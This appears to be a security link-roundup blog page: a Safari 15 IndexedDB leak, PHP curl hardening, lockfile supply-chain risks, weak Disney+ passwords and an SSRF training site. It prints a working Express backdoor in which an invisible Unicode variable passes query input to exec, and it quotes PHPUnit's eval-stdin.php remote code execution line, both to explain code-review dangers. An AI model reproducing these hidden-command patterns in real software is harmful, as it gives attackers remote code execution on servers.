Exploiting IndexedDB API information leaks in Safari 15

There’s a pretty nasty exploit in Safari 15, where sites/tabs that interact with an IndexedDB database leak that name to other tabs.

In Safari 15 on macOS, and in all browsers on iOS and iPadOS 15, the IndexedDB API is violating the same-origin policy. Every time a website interacts with a database, a new (empty) database with the same name is created in all other active frames, tabs, and windows within the same browser session. Windows and tabs usually share the same session, unless you switch to a different profile or open a private window.

As some sites — such as Google’s properties — include a unique identifier in the database name, that information can be used to identify a user.

I feel sorry for the WebKit/Safari Engineers that this got published just before the weekend, but on the other hand the security bug was reported in November already and has gone left unhandled. (Because it was filed a security bug, it’s not publicly accessible).

Do note that due to all browsers on iOS being forced to use the same MobileSafari WebKit build, all browsers on that platform are affected.

Exploiting IndexedDB API information leaks in Safari 15 →
Safari 15 IndexedDB Leaks →
Safari 15 IndexedDB Leaks Code →

The Invisible JavaScript Backdoor

Wolfgang Ettlinger carefull crafted this JavaScript snippet, which contains a backdoor.

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

Looks pretty normal, right? Well, see that destructuring from req.query there (first highlight)? It contains an invisible character \u3164, which is a valid identifier for a JavaScript variable.

The character “ㅤ” (0x3164 in hex) is called “HANGUL FILLER” and belongs to the Unicode category “Letter, other”. As this character is considered to be a letter, it has the ID_Start property and can therefore appear in a JavaScript variable – perfect!

While that line appears normal to us, it actually reads:

const { timeout,\u3164} = req.query;

The result is that you pass something from the querystring’s \u3164 parameter into a JavaScript variable with the name \u3164. That hidden variable is also included in the checkCommands array (second highlight, after the ,), and thus will also be executed.

Let this be a reminder to never directly execute commands. Always check them. As Wolfgang also suggests:

Unicode should be kept in mind when doing reviews of code from unknown or untrusted contributors. This is especially interesting for open source projects as they might receive contributions from developers that are effectively anonymous.

The Invisible JavaScript Backdoor →

PHP Curl Security Hardening

Good post — with accompanying code — on PHP.Watch on how to tighten the almighty curl:

  1. Limit Curl Protocols
  2. Do not enable automatic redirects unless absolutely necessary
  3. If redirects are enabled enabled, limit allowed protocols (if different from #1 above)
  4. If redirects are enabled, set a strict limit
  5. Set a strict time-out
  6. Do not disable certification validation, or enforce it
  7. Disable insecure SSL and TLS versions

PHP Curl Security Hardening →

The Lava Lamps That Help Keep The Internet Secure

At the headquarters of Cloudflare, in San Francisco, there’s a wall of lava lamps: the Entropy Wall. They’re used to generate random numbers and keep a good bit of the internet secure: here’s how.

How geeky! 🤩

PHPUnit: A Security Risk?

The author of PHPUnit was a bit surprised when he received a mail stating that PHPUnit was a security risk and hackers could remotely execute PHP code through a file named eval-stdin.php that ships used to ship with PHPUnit.

// eval-stdin.php
eval ('?>'. \file_get_contents('php://input'));

Even though the eval-stdin.php file itself indeed was vulnerable, it never should have been actively exploitable because:

  • PHPUnit is a dev dependency, and should never be installed in production.
  • One should never make their vendor folder publicly accessible. If it is placed in the wwwroot, use .htaccess or the like to prevent direct access to it.

Eventually a fix landed in PHPUnit, accompanied by this nice commit message:

This check should not be required ... yet here it is.

If you upload PHPUnit to a production webserver then your deployment process is broken.

If your vendor/ directory is publicly accessible on your webserver then your deployment process is broken.

*sigh*

PHPUnit: A Security Risk? →

Beware when merging Pull Requests with a changed lockfile

When watching a diff that contains a lockfile (say: a yarn.lock for example) on GitHub, GitHub doesn’t always show the differences (see screenshot above) as the changes in such files tend to be quite big. And even if it were to show the changes, does one really take a close look into it? With this in mind, Liran Tal started playing around to create a vector of attack using those lock files.

Take this diff for example:

What becomes clear when you look closer, is that I replaced the original ms npm package to resolve it with my own version, which is stored in my GitHub repository. I should have gotten it from the official npm registry, just as was originally set in the lockfile of the project.

When this pull request gets merged, I inject my malicious version of ms@2.1.1 into the code in order to control its behavior during runtime.

In this way, I could introduce a backdoor, alter the logic of the ms module or I could run some postinstall scripts.

To prevent such commits from being merged, you can resort to lockfile-lint which will warn you for such issues.

As an end-user it’s wise to run npm install with --ignore-scripts.

Why npm lockfiles can be a security blindspot for injecting malicious modules →

Princesses make terrible passwords

From the Firefox Blog:

When the Disney+ streaming service rolled out, millions of people flocked to set up accounts. And within a week, thousands of poor unfortunate souls reported that their Disney passwords were hacked. According to media reports, some Disney+ account holders have lost their account access while hackers have sold their logins online.

Turns out a lot of people used one of Disney’s characters their name as their password, which is not the brightest idea.

Princesses make terrible passwords →

Learn about security by hacking a fake bank using a real hacking method

Cool interactive site showing your how to perform a Server Side Request Forgery hack, based on a true incident:

The following interactive tutorial is a reconstruction of Capital One’s data breach incident that exposed the records of almost 106 million customers.

Paige Thompson is accused of breaking into a Capital One server and gaining access to 140,000 Social Security numbers, 1 million Canadian Social Insurance numbers and 80,000 bank account numbers.

To all developers: As always, beware when processing user input …

Contra – Interactive Application Security Training →

Via Jesse